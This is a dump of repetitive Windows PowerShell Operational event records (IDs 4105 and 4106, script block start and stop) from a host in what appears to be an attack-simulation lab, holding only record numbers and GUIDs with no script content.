410515102150x0667222Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667221Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667220Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667219Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667218Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667217Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667216Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667215Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667214Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667213Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667212Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667211Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667210Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667209Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667208Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667207Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667206Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667205Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667204Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667203Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667202Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667201Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667200Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667199Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667198Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667197Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667196Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667195Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667194Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667193Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667192Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667191Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667190Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667189Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667188Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667187Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667186Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667185Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667184Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667183Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667182Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667181Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667180Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667179Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667178Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667177Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667176Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667175Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667174Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667173Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667172Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667171Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667170Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667169Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667168Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667167Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667166Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667165Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667164Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667163Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667162Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667161Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667160Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667159Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667158Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667157Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667156Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667155Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667154Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667153Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667152Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667151Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667150Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667149Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667148Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667147Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667146Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667145Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667144Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667143Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667142Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667141Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667140Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667139Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667138Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667137Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667136Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667135Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667134Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667133Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667132Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667131Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667130Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667129Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667128Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667127Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667126Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667125Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667124Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667123Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667122Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667121Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667120Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667119Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667118Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667117Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667116Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667115Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667114Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667113Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667112Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667111Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667110Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667109Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667108Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667107Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667106Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667105Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667104Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667103Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667102Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667101Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667100Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667099Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667098Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667097Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667096Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667095Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667094Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667093Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667092Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667091Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667090Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667089Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667088Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667087Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667086Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667085Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667084Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667083Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667082Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667081Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667080Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667079Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667078Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667077Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667076Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667075Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667074Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667073Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667072Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667071Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667070Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667069Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667068Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667067Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667066Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667065Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667064Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667063Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667062Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667061Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667060Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 